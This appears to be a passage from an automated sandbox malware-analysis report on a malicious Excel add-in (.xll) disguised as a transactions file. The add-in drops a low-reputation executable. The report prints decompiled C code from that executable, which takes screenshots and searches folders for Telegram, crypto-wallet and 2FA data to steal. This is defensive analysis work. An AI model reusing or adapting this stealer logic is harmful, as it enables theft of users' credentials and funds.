2023-07-20 11:29:44 UTC	121	IN	Data Raw: 61 59 1f e3 41 0c bb cb 83 22 c6 93 2a eb 17 3e 30 da 65 08 91 a3 71 66 61 30 16 67 1a 05 8d 74 bf bc 15 92 9e 26 5c b7 2f b0 5b bb a0 bc 41 a3 4d 57 a2 16 58 5d 2e 6c af 89 ba 7d e1 a3 63 6d 44 6a b2 58 2c 8c 19 41 a2 3c 8d 73 23 dd 23 15 42 d2 46 88 da 4d 35 fa 82 60 e9 04 84 b5 b2 32 ea e1 72 7d 61 61 2f a6 ac 42 b8 dc 48 0f 94 65 ae 6e ca fa a0 57 2b 0b 72 34 3c 6a 88 d3 07 86 0b 85 60 b9 26 15 42 ea a6 ac 0f 6a b5 b2 20 47 95 b5 10 16 f3 ac 86 2e 13 95 81 67 99 ab 9b b2 3e 74 d5 ca 32 8a a4 8e 68 16 16 af 62 3a 0b 4c 39 87 33 0b 45 2a 84 54 e7 79 5c 92 a9 85 26 a6 d7 d2 47 27 ab aa 21 9b 9c 7c 4a 57 53 44 ab 9b 8b f0 3d 5b 33 9f 52 c9 7d 89 ab 31 86 85 a6 bb bd 1b 83 1c b0 5a 24 ef c6 24 25 9a b9 a7 2e ba f0 8e 8d 6d 14 4f ee aa 91 97 dc 97 ad ab 39 Data Ascii: aYA">0eqfa0gt&\/[AMWX].l}cmDjX,A<s##BFM5`2r}aa/BHenW+r4<j`&Bj G.g>t2hb:L93ETy\&G'!\|JWSD=[3R}1Z$$%.mO9

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: cmd.exePID: 6876, Parent PID: 3600

General

Target ID:	0
Start time:	13:29:36
Start date:	20/07/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /C "C:\Users\user\Desktop\2023-07-01-2023-07-15_Transactions.xll"
Imagebase:	0xa60000
File size:	232'960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 812, Parent PID: 6876

General

Target ID:	1
Start time:	13:29:37
Start date:	20/07/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6edaf0000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: EXCEL.EXEPID: 7128, Parent PID: 6876

General

Target ID:	2
Start time:	13:29:38
Start date:	20/07/2023
Path:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /dde
Imagebase:	0x3a0000
File size:	27'110'184 bytes
MD5 hash:	5D6638F2C8F8571C593999C58866007E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: GcQGGmjG.exePID: 4012, Parent PID: 7128

General

Target ID:	3
Start time:	13:29:44
Start date:	20/07/2023
Path:	C:\Users\user\AppData\Roaming\GcQGGmjG.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\GcQGGmjG.exe
Imagebase:	0x2b0000
File size:	28'672 bytes
MD5 hash:	E0FB0A3E15BDFBA65A792E3E3463DCD5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 68%, ReversingLabs Detection: 79%, Virustotal, Browse
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: GcQGGmjG.exePID: 4012, Parent PID: 7128COMMON

Execution Graph

Execution Coverage:	28.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	32.3%
Total number of Nodes:	350
Total number of Limit Nodes:	8

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 002B4868 Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 196
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E002B4868(char _a4) {
				short _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				int _v24;
				void* _v28;
				struct HDC__* _v32;
				short _v36;
				short _v38;
				short _v40;
				short _v42;
				short _v44;
				short _v46;
				char _v48;
				int _v52;
				int _v56;
				intOrPtr _v62;
				char _v72;
				signed int _v96;
				short _v98;
				short _v100;
				signed int _v104;
				intOrPtr _v108;
				void _v112;
				signed int _v128;
				int _v132;
				void _v136;
				struct tagBITMAPINFO _v180;
				void* _t58;
				int _t59;
				int _t60;
				int _t68;
				signed int _t69;
				short _t73;
				void* _t78;
				struct HDC__* _t84;
				void* _t87;
				short _t96;
				short _t97;
				short _t98;
				short _t99;
				short _t100;
				short _t101;
				struct HDC__* _t110;
				signed int _t116;
				int _t134;
				int _t136;
				struct HDC__* _t140;
				void* _t141;
				void* _t145;
				void* _t147;

				if(_a4 == 0) {
					return _t58;
				}
				_v12 = 0x33696467;
				_t3 =  &_v12; // 0x33696467
				_v8 = 0x32;
				_t59 = E002B439A(_t3, 0x2b8000);
				if(_t59 != 0xa) {
					L16:
					return _t59;
				}
				_v28 = 0;
				_t60 = GetSystemMetrics(0x4c); // executed
				_v56 = _t60;
				_v52 = GetSystemMetrics(0x4d);
				E002B355E( &_v72, 0, 0xe);
				E002B355E( &_v112, 0, 0x28);
				E002B355E( &_v180, 0, 0x2c);
				_t134 = 0x18;
				E002B355E( &_v136, 0, _t134);
				_t59 = GetDC(0);
				_t110 = _t59;
				if(_t110 == 0) {
					L15:
					goto L16;
				}
				_t145 = GetCurrentObject(_t110, 7);
				if(_t145 != 0) {
					_t68 = GetObjectW(_t145, _t134,  &_v136);
					_t157 = _t68;
					if(_t68 != 0) {
						_t69 = _v128;
						_t136 = _v132;
						_push(_t69);
						_v24 = _t136;
						_v16 = _t69;
						E002B35C3(_t157, 0, "- ScreenSize: {lWidth=%d, lHeight=%d}\r\n", _t136);
						DeleteObject(_t145); // executed
						_v96 = _v96 & 0x00000000;
						_v72 = 0x4d42;
						_t73 = 0x18;
						_v98 = _t73;
						_v108 = _t136;
						_v100 = 1;
						_v104 = _v16;
						_t116 = 0xa;
						_v112 = 0x28;
						_t78 = memcpy( &_v180,  &_v112, _t116 << 2);
						_v62 = 0x36;
						asm("cdq");
						_v20 = ((_t78 + 0x0000001f & 0xffffffe0) >> 3) * _v16;
						_t84 = CreateCompatibleDC(_t110); // executed
						_t140 = _t84;
						_v32 = _t140;
						if(_t140 != 0) {
							_t87 = CreateDIBSection(_t110,  &_v180, 0,  &_v28, 0, 0); // executed
							_t147 = _t87;
							if(_t147 != 0) {
								if(SelectObject(_t140, _t147) != 0 && BitBlt(_t140, 0, 0, _v24, _v16, _t110, _v56, _v52, 0xcc0020) != 0) {
									_t141 = E002B34F0(_v20 + 0x37);
									if(_t141 != 0) {
										E002B3533(_t141,  &_v72, 0xe);
										_t42 = _t141 + 0xe; // 0xe
										E002B3533(_t42,  &_v180, 0x28);
										_t46 = _t141 + 0x36; // 0x36
										E002B3533(_t46, _v28, _v20);
										_t96 = 0x24;
										_v48 = _t96;
										_t97 = 0x73;
										_v46 = _t97;
										_t98 = 0x2e;
										_t50 =  &_a4; // 0x33696467
										_v44 = _t98;
										_t99 = 0x62;
										_v42 = _t99;
										_t100 = 0x6d;
										_v40 = _t100;
										_t101 = 0x70;
										_v38 = _t101;
										_v36 = 0;
										E002B3D26( *_t50,  &_v48, _t141, _v20 + 0x36); // executed
										E002B351E(_t141);
									}
									_t140 = _v32;
								}
								DeleteObject(_t147);
							}
							DeleteDC(_t140);
						}
					}
				}
				_t59 = ReleaseDC(0, _t110);
				goto L15;
			}

0x002b4875
0x002b4ab9
0x002b4ab9
0x002b4881
0x002b4888
0x002b488b
0x002b4893
0x002b489a
0x002b4ab5
0x00000000
0x002b4ab5
0x002b48aa
0x002b48ad
0x002b48b1
0x002b48ba
0x002b48c0
0x002b48ca
0x002b48d7
0x002b48de
0x002b48e6
0x002b48ef
0x002b48f5
0x002b48f9
0x002b4ab3
0x00000000
0x002b4ab4
0x002b4908
0x002b490c
0x002b491b
0x002b4921
0x002b4923
0x002b4929
0x002b492c
0x002b492f
0x002b4938
0x002b493b
0x002b493e
0x002b4947
0x002b4954
0x002b4958
0x002b495f
0x002b4960
0x002b4967
0x002b496a
0x002b4977
0x002b4980
0x002b4981
0x002b4988
0x002b498d
0x002b4997
0x002b49a5
0x002b49a8
0x002b49ae
0x002b49b0
0x002b49b5
0x002b49cc
0x002b49d2
0x002b49d6
0x002b49e6
0x002b4a1c
0x002b4a20
0x002b4a29
0x002b4a30
0x002b4a39
0x002b4a44
0x002b4a47
0x002b4a4e
0x002b4a51
0x002b4a58
0x002b4a5b
0x002b4a5f
0x002b4a60
0x002b4a65
0x002b4a69
0x002b4a6a
0x002b4a70
0x002b4a71
0x002b4a77
0x002b4a78
0x002b4a7e
0x002b4a8a
0x002b4a94
0x002b4a94
0x002b4a99
0x002b4a99
0x002b4a9d
0x002b4a9d
0x002b4aa4
0x002b4aa4
0x002b49b5
0x002b4923
0x002b4aad
0x00000000

APIs

Part of subcall function 002B439A: GetModuleHandleA.KERNEL32(ntdl,0000011C,?,?,?,?,?,?,?,002B44D8), ref: 002B43AC
Part of subcall function 002B439A: LoadLibraryA.KERNELBASE(ntdl,?,?,?,?,?,?,?,002B44D8), ref: 002B43B9

KiUserCallbackDispatcher.NTDLL ref: 002B48AD
GetSystemMetrics.USER32 ref: 002B48B4
GetDC.USER32(00000000), ref: 002B48EF
GetCurrentObject.GDI32(00000000,00000007), ref: 002B4902
GetObjectW.GDI32(00000000,00000018,?), ref: 002B491B
DeleteObject.GDI32(00000000), ref: 002B4947
CreateCompatibleDC.GDI32(00000000), ref: 002B49A8
CreateDIBSection.GDI32(00000000,?,00000000,?,00000000,00000000), ref: 002B49CC
SelectObject.GDI32(00000000,00000000), ref: 002B49DE
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,00CC0020), ref: 002B4A03

Part of subcall function 002B34F0: EnterCriticalSection.KERNEL32(002B84D4,?,?,002B3B95,?,002B223F), ref: 002B34FA
Part of subcall function 002B34F0: GetProcessHeap.KERNEL32(00000008,?,?,?,002B3B95,?,002B223F), ref: 002B3503
Part of subcall function 002B34F0: RtlAllocateHeap.NTDLL(00000000,?,?,?,002B3B95,?,002B223F), ref: 002B350A
Part of subcall function 002B34F0: LeaveCriticalSection.KERNEL32(002B84D4,?,?,?,002B3B95,?,002B223F), ref: 002B3513

Part of subcall function 002B3D26: EnterCriticalSection.KERNEL32(002B84D4,?,?), ref: 002B3D38

Part of subcall function 002B351E: GetProcessHeap.KERNEL32(00000000,00000000,002B3026,?,?,?,?,?,?,?,?,?,?,?,002B35DC,?), ref: 002B3525
Part of subcall function 002B351E: RtlFreeHeap.NTDLL(00000000,?,?,?,?,?,?,?,?,?,?,?,002B35DC,?,00000400,?), ref: 002B352C

DeleteObject.GDI32(00000000), ref: 002B4A9D
DeleteDC.GDI32(00000000), ref: 002B4AA4
ReleaseDC.USER32 ref: 002B4AAD

Strings

6, xrefs: 002B498D
(, xrefs: 002B4981
- ScreenSize: {lWidth=%d, lHeight=%d}, xrefs: 002B4931
2, xrefs: 002B488B
gdi3, xrefs: 002B4888
gdi32, xrefs: 002B4A60

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: Object$HeapSection$CriticalDelete$CreateEnterProcess$AllocateCallbackCompatibleCurrentDispatcherFreeHandleLeaveLibraryLoadMetricsModuleReleaseSelectSystemUser
String ID: ($- ScreenSize: {lWidth=%d, lHeight=%d}$2$6$gdi3$gdi32
API String ID: 1387450592-4111540656
Opcode ID: 347dfb013b35f0b02754dff82191026118d4b70d02d820efff00aa374198767d
Instruction ID: caffcc89352019a132c0f0d9c6f53f623c45bb4affbe055966e7728c4e0afa24
Opcode Fuzzy Hash: 347dfb013b35f0b02754dff82191026118d4b70d02d820efff00aa374198767d
Instruction Fuzzy Hash: 6F61BF72D10209ABDB20EFA4DC85FEEB7B9FF48740F00451AF609AB291DB709A15CB55

Uniqueness

Uniqueness Score: -1.00%

Function 002B1000 Relevance: 18.2, APIs: 4, Strings: 6, Instructions: 665
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E002B1000(intOrPtr __ecx, intOrPtr __edx, signed short _a4) {
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				signed short _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed short _v36;
				signed short _v40;
				void* _v44;
				short _v82;
				short _v84;
				short _v86;
				short _v88;
				short _v90;
				short _v92;
				short _v94;
				char _v96;
				signed int _v100;
				char _v104;
				signed int _v108;
				char _v112;
				signed int _v116;
				char _v120;
				signed int _v124;
				char _v128;
				signed int _v132;
				char _v136;
				signed int _v140;
				char _v144;
				signed int _v148;
				intOrPtr _v152;
				char _v156;
				short _v188;
				short _v190;
				short _v192;
				short _v194;
				short _v196;
				short _v198;
				short _v200;
				short _v202;
				short _v204;
				short _v206;
				char _v208;
				short _v246;
				short _v248;
				short _v250;
				short _v252;
				short _v254;
				short _v256;
				short _v258;
				char _v260;
				struct _WIN32_FIND_DATAW _v856;
				short _t165;
				short _t166;
				short _t167;
				short _t168;
				short _t169;
				short _t171;
				short _t172;
				short _t173;
				short _t174;
				short _t175;
				short _t177;
				short _t178;
				short _t179;
				short _t180;
				void* _t184;
				void* _t188;
				void* _t189;
				int _t193;
				void* _t197;
				signed short _t206;
				signed short _t208;
				signed short _t211;
				signed short _t213;
				signed short _t214;
				short _t226;
				signed short _t236;
				signed short _t245;
				signed short _t252;
				signed short _t260;
				short _t265;
				signed short _t273;
				signed short _t276;
				intOrPtr _t277;
				signed short _t278;
				short _t285;
				short _t286;
				short _t287;
				signed int _t321;
				signed short _t350;
				char* _t360;
				short _t378;
				WCHAR* _t391;
				void* _t406;
				signed short _t412;
				intOrPtr _t413;
				WCHAR* _t422;
				signed short _t426;
				void* _t430;
				void* _t432;
				void* _t433;

				_t277 = __ecx;
				_t160 = __edx;
				_v28 = __edx;
				_v20 = __ecx;
				if(__ecx == 0 ||  *0x2b802c == 0x81f39c19) {
					L22:
					return _t160;
				} else {
					_t160 = E002B402B(__edx);
					if(__edx == 0) {
						goto L22;
					}
					_t422 = E002B34F0(0x208);
					_t424 = E002B34F0(0x208);
					_v12 = _t424;
					if(_t422 == 0) {
						L21:
						E002B351E(_t422);
						return E002B351E(_t424);
					}
					_t441 = _t424;
					if(_t424 == 0) {
						goto L21;
					}
					_t165 = 0x32;
					_v260 = _t165;
					_t166 = 0x46;
					_v258 = _t166;
					_t167 = 0x41;
					_v256 = _t167;
					_t168 = 0x75;
					_t378 = 0x74;
					_v254 = _t168;
					_t169 = 0x68;
					_t285 = 0x2f;
					_v250 = _t169;
					_v246 = 0;
					_t171 = 0x43;
					_v96 = _t171;
					_t172 = 0x72;
					_v94 = _t172;
					_t173 = 0x79;
					_v92 = _t173;
					_t174 = 0x70;
					_v90 = _t174;
					_t175 = 0x6f;
					_v86 = _t175;
					_v82 = 0;
					_t177 = 0x44;
					_v248 = _t285;
					_v84 = _t285;
					_t286 = 0x61;
					_v208 = _t177;
					_t178 = 0x62;
					_v206 = _t286;
					_v202 = _t286;
					_v198 = _t286;
					_t287 = 0x73;
					_v200 = _t178;
					_t179 = 0x65;
					_v194 = _t179;
					_t180 = 0x2f;
					_v190 = _t180;
					_v252 = _t378;
					_v88 = _t378;
					_v204 = _t378;
					_v196 = _t287;
					_v192 = _t287;
					_v188 = 0;
					E002B35E8(_t441, _t422, L"%s\\*", _v28);
					_t433 = _t432 + 0xc;
					_t184 = FindFirstFileW(_t422,  &_v856); // executed
					_v44 = _t184;
					if(_t184 == 0xffffffff) {
						L20:
						E002B355E( &_v208, 0, 0x32);
						E002B355E( &_v260, 0, 0x32);
						E002B355E( &_v96, 0, 0x32);
						goto L21;
					} else {
						goto L6;
					}
					do {
						L6:
						_t188 = E002B3623(_v28);
						_t189 = E002B3623( &(_v856.cFileName));
						_t443 = _t189 + 3 + _t188 - 0x104;
						if(_t189 + 3 + _t188 >= 0x104) {
							L18:
							_t424 = _v12;
							goto L19;
						}
						_push( &(_v856.cFileName));
						E002B35E8(_t443, _t422, L"%s\\%s", _v28);
						_t433 = _t433 + 0x10;
						if((_v856.dwFileAttributes & 0x00000010) == 0 || E002B3713( &(_v856.cFileName), L"..") == 0 || E002B3713( &(_v856.cFileName), ".") == 0) {
							__eflags = _v856.dwFileAttributes & 0x000000a7;
							if((_v856.dwFileAttributes & 0x000000a7) == 0) {
								goto L18;
							}
							_t197 = E002B3B10( &(_v856.cFileName), E002B3623( &(_v856.cFileName)) + _t196);
							__eflags = _t197 - 0xe982779a;
							if(_t197 != 0xe982779a) {
								__eflags = _t197 - 0x6666aed0;
								if(_t197 == 0x6666aed0) {
									L113:
									__eflags = _a4;
									_t424 = _v12;
									_t296 =  !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff;
									_t199 = ( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff;
									_t200 = (( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff) + 1;
									_push( &(_t422[(( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff) + 1]));
									E002B35E8(__eflags, _v12, L"%s%s",  &_v208);
									E002B3E66(_t277, _t422, __eflags, _t424); // executed
									_t433 = _t433 + 0x14;
									goto L19;
								}
								__eflags = _t197 - 0x3cd9c812;
								if(_t197 == 0x3cd9c812) {
									goto L113;
								}
								__eflags = _t197 - 0xdc914064;
								if(_t197 == 0xdc914064) {
									goto L113;
								}
								__eflags = _t197 - 0xac951682;
								if(_t197 == 0xac951682) {
									goto L113;
								}
								__eflags = _t197 - 0xaffeac1b;
								if(_t197 == 0xaffeac1b) {
									goto L113;
								}
								__eflags = _t197 - 0x775d28f9;
								if(_t197 == 0x775d28f9) {
									goto L113;
								}
								__eflags = _t197 - 0x8734ec8c;
								if(_t197 == 0x8734ec8c) {
									goto L113;
								}
								__eflags = _t197 - 0x7d9821e0;
								if(_t197 == 0x7d9821e0) {
									goto L113;
								}
								__eflags = _t197 - 0x4b9eec12;
								if(_t197 == 0x4b9eec12) {
									goto L113;
								}
								__eflags = _t197 - 0x50a36ede;
								if(_t197 == 0x50a36ede) {
									goto L113;
								}
								__eflags = _t197 - 0xb525bd34;
								if(__eflags != 0) {
									goto L18;
								}
								_v16 = _v16 & 0x00000000;
								_t206 = E002B4186(__eflags, _t422,  &_v16); // executed
								_t278 = _t206;
								__eflags = _t278;
								if(_t278 == 0) {
									goto L29;
								}
								_t426 = _v16;
								__eflags = _t426;
								if(_t426 == 0) {
									goto L29;
								}
								_push(_t426);
								_push(0x344ce79b);
								_t406 = 0x11;
								_t208 = E002B36D9(_t278, _t406);
								_v24 = _t208;
								__eflags = _t208 - 0xffffffff;
								if(_t208 == 0xffffffff) {
									goto L29;
								}
								_t134 = _t208 + 0x11; // 0x11
								__eflags = E002B36D9(_t134 + _t278, 1, 0x762ae69, _t426) - 0xffffffff;
								if(__eflags == 0) {
									goto L29;
								}
								_t427 = E002B3684(_t278, _v24 + 0x11, __eflags, _t209);
								_v36 = _t427;
								__eflags = _t427;
								if(_t427 == 0) {
									goto L29;
								}
								_t211 = E002B360D(_t427);
								_v24 = _t211;
								__eflags = _t211;
								if(_t211 != 0) {
									_t213 = E002B1A55(_t427, _t211,  &_v24);
									_v40 = _t213;
									__eflags = _t213;
									if(_t213 != 0) {
										_t412 = _v24;
										__eflags = _t412;
										if(_t412 != 0) {
											_t413 = _t412 + 0xfffffffb;
											_t141 = _t213 + 5; // 0x5, executed
											_t214 = E002B1C87(_t141, _t413); // executed
											_t316 = _t413;
											_v32 = _t413;
											__eflags = _t214;
											if(_t214 != 0) {
												_t428 = E002B1B98(_t316, _t214,  &_v24);
												__eflags = _a4;
												_t417 =  !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff;
												_t320 = ( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff;
												_t321 = (( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff) + 1;
												__eflags = _t321;
												_push( &(_t422[_t321]));
												E002B35E8(_t321, _v12, L"%s%s",  &_v208);
												E002B3D26(_v20, _v12, _t216, _v24); // executed
												_t433 = _t433 + 0x18;
												E002B351E(_t428);
												E002B351E(_v32);
												_t427 = _v36;
											}
											E002B351E(_v40);
										}
									}
								}
								goto L28;
							}
							_t429 = E002B34F0(0x208);
							__eflags = _a4;
							_v84 = 0;
							_t420 =  !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff;
							_t328 = ( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff;
							_push( &(_t422[( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff]));
							E002B35E8(__eflags, _t222, L"%s%s",  &_v96);
							_t226 = 0x2f;
							_v84 = _t226;
							E002B3E66(_t277, _t422, __eflags, _t429);
							_t433 = _t433 + 0x14;
							goto L36;
						} else {
							_t430 = E002B3B10( &(_v856.cFileName), E002B3623( &(_v856.cFileName)) + _t231);
							if(_t430 == 0x82dfed94 || _t430 == 0xbd47e091 || _t430 == 0x44b776ce) {
								_v148 = _v148 & 0x00000000;
								_v16 = _v16 & 0x00000000;
								_v156 = 0x3d3f6137;
								_v152 = 0x3887818b;
								_t278 = E002B4068( &_v156, _t422,  &_v16);
								__eflags = _t278;
								if(_t278 != 0) {
									_t236 = E002B3713(_t278, _t422);
									__eflags = _t236;
									if(_t236 != 0) {
										__eflags = _t430 - 0x44b776ce;
										_t238 =  !=  ?  &_v96 :  &_v260;
										__eflags = _a4;
										_t341 =  !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff;
										_t240 = ( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff;
										E002B3EAA(_v20, _t278, _a4, ( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff,  !=  ?  &_v96 :  &_v260, 0);
										_t433 = _t433 + 0xc;
										 *0x2b84ca =  *0x2b84ca + 1;
									}
								}
								goto L29;
							} else {
								if(_t430 == 0x23f2e218 || _t430 == 0x2d3640ab) {
									EnterCriticalSection(0x2b84d4);
									E002B4ABC(_t277, _t422, 1, L"Telegram");
									LeaveCriticalSection(0x2b84d4);
									goto L18;
								} else {
									if(_t430 != 0xaf49b59a) {
										__eflags = _t430 - 0x141f21c1;
										if(_t430 != 0x141f21c1) {
											__eflags = _t430 - 0x6831c465;
											if(_t430 != 0x6831c465) {
												__eflags = _t430 - 0xbe7c0422;
												if(_t430 != 0xbe7c0422) {
													__eflags = _t430 - 0x19079238;
													if(__eflags != 0) {
														__eflags = _t430 - 0xcd9ab43c;
														if(_t430 != 0xcd9ab43c) {
															__eflags = _t430 - 0x21b1b4ad;
															if(_t430 == 0x21b1b4ad) {
																L81:
																_v140 = _v140 & 0x00000000;
																_v16 = _v16 & 0x00000000;
																_v144 = 0x18d008be;
																_t429 = E002B4068( &_v144, _t422,  &_v16);
																__eflags = _t429;
																if(_t429 == 0) {
																	L37:
																	E002B351E(_t429);
																	goto L18;
																}
																_t245 = E002B3713(_t429, _t422);
																__eflags = _t245;
																if(_t245 == 0) {
																	goto L37;
																}
																_push(0);
																_t391 = _t422;
																L35:
																__eflags = _a4;
																_push( &_v96);
																_t350 =  !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff;
																__eflags = _t350;
																_push(_t350 & 0x0000ffff);
																E002B3EAA(_t277, _t391, _t350);
																_t433 = _t433 + 0xc;
																L36:
																 *0x2b84ca =  *0x2b84ca + 1;
																__eflags =  *0x2b84ca;
																goto L37;
															}
															__eflags = _t430 - 0xdf87581d;
															if(_t430 == 0xdf87581d) {
																goto L81;
															}
															__eflags = _t430 - 0x84355a31;
															if(_t430 == 0x84355a31) {
																goto L81;
															}
															__eflags = _t430 - 0xbe0fa81d;
															if(_t430 == 0xbe0fa81d) {
																goto L81;
															}
															__eflags = _t430 - 0x2bc5986f;
															if(_t430 == 0x2bc5986f) {
																goto L81;
															}
															__eflags = _t430 - 0x7d0d23c0;
															if(_t430 == 0x7d0d23c0) {
																goto L81;
															}
															__eflags = _t430 - 0x1f654090;
															if(_t430 == 0x1f654090) {
																goto L81;
															}
															__eflags = _t430 - 0xdf079535;
															if(_t430 == 0xdf079535) {
																goto L81;
															}
															__eflags = _t430 - 0x4135d5fc;
															if(_t430 == 0x4135d5fc) {
																goto L81;
															}
															__eflags = _t430 - 0x6e81e3ce;
															if(_t430 == 0x6e81e3ce) {
																goto L81;
															}
															__eflags = _t430 - 0x724ce424;
															if(_t430 == 0x724ce424) {
																goto L81;
															}
															__eflags = _t430 - 0x8764d8e1;
															if(_t430 == 0x8764d8e1) {
																goto L81;
															}
															__eflags = _t430 - 0x6b80d435;
															if(_t430 == 0x6b80d435) {
																goto L81;
															}
															__eflags = _t430 - 0x29244fc;
															if(_t430 == 0x29244fc) {
																goto L81;
															}
															__eflags = _t430 - 0x53c2254f;
															if(_t430 == 0x53c2254f) {
																goto L81;
															}
															__eflags = _t430 - 0xc29e566f;
															if(_t430 == 0xc29e566f) {
																goto L81;
															}
															__eflags = _t430 - 0x2acb08f2;
															if(_t430 == 0x2acb08f2) {
																goto L81;
															}
															__eflags = _t430 - 0xa583b0fd;
															if(_t430 == 0xa583b0fd) {
																goto L81;
															}
															__eflags = _t430 - 0x61a97737;
															if(_t430 == 0x61a97737) {
																goto L81;
															}
															__eflags = _t430 - 0x3af7e50b;
															if(_t430 == 0x3af7e50b) {
																goto L81;
															}
															__eflags = _t430 - 0xcd7ced7f;
															if(_t430 == 0xcd7ced7f) {
																goto L81;
															}
															__eflags = _t430 - 0x64febc18;
															if(_t430 == 0x64febc18) {
																goto L81;
															}
															__eflags = _t430 - 0x66177b21;
															if(_t430 == 0x66177b21) {
																goto L81;
															}
															__eflags = _t430 - 0xa09997a2;
															if(_t430 == 0xa09997a2) {
																goto L81;
															}
															__eflags = _t430 - 0x4d97bd74;
															if(_t430 == 0x4d97bd74) {
																goto L81;
															}
															__eflags = _t430 - 0xf1153a3a;
															if(_t430 == 0xf1153a3a) {
																goto L81;
															}
															__eflags = _t430 - 0xcce92e05;
															if(_t430 == 0xcce92e05) {
																L78:
																_v132 = _v132 & 0x00000000;
																_v16 = _v16 & 0x00000000;
																_v136 = 0x18d008be;
																_t429 = E002B4068( &_v136, _t422,  &_v16);
																__eflags = _t429;
																if(_t429 != 0) {
																	_t252 = E002B3713(_t429, _t422);
																	__eflags = _t252;
																	if(_t252 != 0) {
																		__eflags = _a4;
																		_t356 =  !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff;
																		_t255 = ( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff;
																		E002B3EAA(_t277, _t422, _a4, ( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff,  &_v260, 0);
																		_t433 = _t433 + 0xc;
																		 *0x2b84cb =  *0x2b84cb + 1;
																	}
																}
																goto L37;
															}
															__eflags = _t430 - 0x57e5dfea;
															if(_t430 == 0x57e5dfea) {
																goto L78;
															}
															__eflags = _t430 - 0xebf178e0;
															if(_t430 == 0xebf178e0) {
																goto L78;
															}
															__eflags = _t430 - 0x79349ba;
															if(_t430 == 0x79349ba) {
																goto L78;
															}
															__eflags = _t430 - 0xd26e760f;
															if(_t430 == 0xd26e760f) {
																goto L78;
															}
															E002B1000(_t277, _t422, _a4); // executed
															goto L18;
														}
														_v124 = _v124 & 0x00000000;
														_t360 =  &_v128;
														_v128 = 0xbe1ba190;
														goto L25;
													} else {
														_push(1);
														goto L17;
													}
												}
												_v116 = _v116 & 0x00000000;
												_v16 = _v16 & 0x00000000;
												_v120 = 0x211f03d4;
												_t429 = E002B4068( &_v120, _t422,  &_v16);
												__eflags = _t429;
												if(_t429 == 0) {
													goto L37;
												}
												_t273 = E002B3713(_t429, _t422);
												__eflags = _t273;
												if(_t273 == 0) {
													goto L37;
												} else {
													_push(1);
													L34:
													_t391 = _t429;
													goto L35;
												}
											}
